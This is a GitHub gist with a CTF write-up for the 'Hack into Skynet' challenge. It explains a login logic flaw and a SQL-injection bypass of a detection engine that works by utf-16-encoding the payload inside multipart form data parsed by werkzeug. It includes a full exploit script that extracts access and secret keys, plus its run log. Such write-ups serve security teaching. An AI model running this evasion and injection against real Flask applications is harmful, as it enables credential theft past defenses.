Skip to content

Instantly share code, notes, and snippets.

@zTrix
Last active January 28, 2022 11:57
Show Gist options
  • Save zTrix/9cbcfdeff0c404e4b95454b2b13e9318 to your computer and use it in GitHub Desktop.
Save zTrix/9cbcfdeff0c404e4b95454b2b13e9318 to your computer and use it in GitHub Desktop.
Hack into Skynet

For challenge Hack into Skynet, there exists at least two possible ways.

  • the first is to bypass the black box detection engine Skynet, which involves some levels of gussing how the internal logic works and find some method to bypass it.
  • the second method is to abuse flask, to make flask get_data() return something highly obfuscated to make skynet engine no way to work.

That is why the challenge description said which way do you prefer?

Here I would illustrate how to abuse flask.

First step first, you need to get a login session. Review the given code snippet,you can find there is a logical bug in there, which may let you obtain a session-id with empty username and arbitrary password.

Second step, leak data using the obvious sqli there. But sadly it's protected by skynet.

when http client post form data, application/x-www-form-urlencoded is the most commonly used content type. But we could also use multipart/form-data which is also a acceptable Content-Type.

And soon you will find that str(get_data()) return the whole body to the detection engine, which make it harder for detection engine to work.

Further, reading into flask source code, we could notice that internally it use https://github.com/pallets/werkzeug/ as CGI wrapper. And when multipart form data has a Content-Type header, werkzeug would decode using python's internal bytes.decode method https://github.com/pallets/werkzeug/blob/9efe8c00dcb2b6fc086961ba304729db01912652/src/werkzeug/formparser.py#L434

Thus, we could encode payload using some encoding like utf-16 to make payload obfuscated further. At this step, you could run any SQL injection statement as you like without worring about banned by the Skynet detection engine.

#!/usr/bin/env python3
import os
import sys
import requests
# https://github.com/zTrix/zio
from zio import *
target = ('127.0.0.1', 8080)
if os.getenv('TARGET'):
ary = os.getenv('TARGET').split(':')
target = (ary[0], int(ary[1]))
base = 'http://%s:%d' % target
if len(sys.argv) > 1:
cookie = 'SessionId=' + sys.argv[1]
else:
session = requests.Session()
resp = session.post(base + '/login', data={
'username': '',
'password': 'asdfasdf',
})
if 'Skynet Target List' not in resp.text:
print(resp.text)
exit(0)
else:
print('login success')
session_id = str(session.cookies.get('SessionId'))
cookie = 'SessionId=%s' % session_id
print(cookie)
def zio_post_multipart(payload):
io = zio(target, print_read=COLORED(RAW, 'yellow'), print_write=COLORED(REPR, 'cyan'), timeout=100)
boundary = b'a6ebe50b5db046fdbfecc4676cada1c8'
payload = payload
body = b'--%s\r\n' % boundary
body += b'Content-Disposition: form-data; name="name"\r\n'
body += b'Content-Type: text/xxx; charset=utf-16\r\n\r\n'
body += payload.encode('utf-16')
body += b'\r\n--%s--\r\n' % boundary
req = b'POST / HTTP/1.1\r\n'
req += b'Host: %s\r\n' % base.encode()
req += b'Cookie: %s\r\n' % cookie.encode()
req += b'Content-Type: multipart/form-data; boundary=%s\r\n' % boundary
req += b'Connection: close\r\n'
req += b'Content-Length: %d\r\n' % len(body)
req += b'\r\n'
req += body
io.write(req)
io.read()
payload = "11111' union select access_key,secret_key from target_credentials where account='skynet' --"
zio_post_multipart(payload)
$ TARGET=47.242.21.212:8085 python3 ./solve.py
login success
SessionId=eddb0f0444cdda15175c14806e4bcc9f
b'POST / HTTP/1.1\r\nHost: http://47.242.21.212:8085\r\nCookie: SessionId=eddb0f0444cdda15175c14806e4bcc9f\r\nContent-Type: multipart/form-data; boundary=a6ebe50b5db046fdbfecc4676cada1c8\r\nConnection: close\r\nContent-Length: 347\r\n\r\n--a6ebe50b5db046fdbfecc4676cada1c8\r\nContent-Disposition: form-data; name="name"\r\nContent-Type: text/xxx; charset=utf-16\r\n\r\n\xff\xfe1\x001\x001\x001\x001\x00\'\x00 \x00u\x00n\x00i\x00o\x00n\x00 \x00s\x00e\x00l\x00e\x00c\x00t\x00 \x00a\x00c\x00c\x00e\x00s\x00s\x00_\x00k\x00e\x00y\x00,\x00s\x00e\x00c\x00r\x00e\x00t\x00_\x00k\x00e\x00y\x00 \x00f\x00r\x00o\x00m\x00 \x00t\x00a\x00r\x00g\x00e\x00t\x00_\x00c\x00r\x00e\x00d\x00e\x00n\x00t\x00i\x00a\x00l\x00s\x00 \x00w\x00h\x00e\x00r\x00e\x00 \x00a\x00c\x00c\x00o\x00u\x00n\x00t\x00=\x00\'\x00s\x00k\x00y\x00n\x00e\x00t\x00\'\x00 \x00-\x00-\x00\r\n--a6ebe50b5db046fdbfecc4676cada1c8--\r\n'
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 348
Server: Werkzeug/0.16.1 Python/3.8.10
Date: Sun, 23 Jan 2022 05:55:05 GMT
<!DOCTYPE html>
<head>
<link rel="stylesheet" href="static/style.css">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Skynet Target List</title>
</head>
<body>
<div class="query">
<h1>Kill before</h1>
<h1>$kynet: rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}</h1>
</div>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment